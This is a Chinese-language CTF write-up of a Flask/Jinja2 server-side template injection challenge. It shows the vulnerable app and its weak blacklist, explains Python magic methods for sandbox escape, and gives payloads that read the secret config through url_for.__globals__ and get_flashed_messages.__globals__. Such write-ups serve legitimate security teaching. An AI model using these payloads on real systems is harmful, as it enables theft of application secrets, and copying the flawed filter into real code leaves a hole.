进入靶场后可以看见给出了源码,比较乱的话可以 ctrl+u查看源码:
进行代码审计可以发现,这个网页是用flask模板写的,这时就很容易就联想到flask模板注入
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
观察代码,发现在路径 /shrine/ 下存在代码执行,进行进一步检查
/shrine/{{1+1}}
发现存在命令执行,所以可以确定是模块注入。
进一步分析代码,可以发现,falg值存放在app.config[‘flag’],但是黑名单过滤了config关键字。
查询flask模板百度flask模板,查看flask模板官方文档进行的介绍,可以找到访问config的方法:
魔术方法:沙盒逃逸的过程就是在一个代码执行的环境下,逃离种种过滤和限制,最终拿到shell权限的过程,也就是绕过各种黑名单最终拿到系统命令执行权限。
魔术方法就是一个类/对象中的方法,和普通方法唯一的不同时,普通方法需要调用,而魔术方法是在特定时刻自动触发。
python中的魔术方法:
_init_ :初始化魔术方法,触发时机:初始化对象时触发,但是和实例化在一个操作中。参数:至少有一个self,接收对象。返回值:无。
_new_:实例化对象
_del_:使用完对象是回收资源
_call_:可以将复杂的步骤进行合并操作,减少调用的步骤,方便使用
_len_:可以设置为检测对象成员个数,但是也可以进行其他任意操作
_str_:print(对象时)进行操作,得到字符串,通常用于快捷操作
_repr_:将对象转使用repr化为字符串时使用,也可以用于快捷操作
_bool_:根据实际情况决定,可以作为快捷方式使用
_format_:设置对象可以作为format的参数,并且自定义对象格式化的规则
与描述符相关的:
_get_:在获取指定描述符操作的成员属性的值的时候触发
_set_:在设置或者添加指定描述符操作的成员属性的时候触发
_delete_:在删除指定描述符操作的成员属性的时候触发
与属性操作相关的魔术方法:
_getattr_():为访问不存在的属性设置值
_setattr_():接管设置操作,可以在设置前之前进行判断验证等行为
_delattr_():可以在删除成员时进行验证。
_getattribute_():在具有封装操作(私有化时),为程序开部分访问权限使用
_dir_():可以自定义成员列表的返回值
python中的常用魔术方法:
_class_:返回类型所属的对象
_mro_:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_base_:返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
_subclasses_:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_init_: 类的初始化方法
_globals_: 对包含函数全局变量的字典的引用
_builtin_:内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(_builtins_)
查询代码发现,falg值存在congfig[‘FLAG’]中,所以,我们需要获取到config,此时就想到了 _globals_ 函数,可以获取包含函数全局变量的字典,但是函数应该选择哪一个呢?
查询flask官方文档可以发现:
所以,可以看见,存在全局变量 url_for()函数和get_flashed_messages()函数
对url_for()函数进行查询:
/shrine/{{url_for.__globals__}}
发现可以搜到flask模板中的app,这样就可以对config进行访问以获得flag:
/shrine/{{url_for.__globals__['current_app']['config']['FLAG']}}
成功获得flag!
get_flashed_messages函数的payload:
/shrine/{{get_flashed_messages.__globals__['current_app']['config']['FLAG']}}



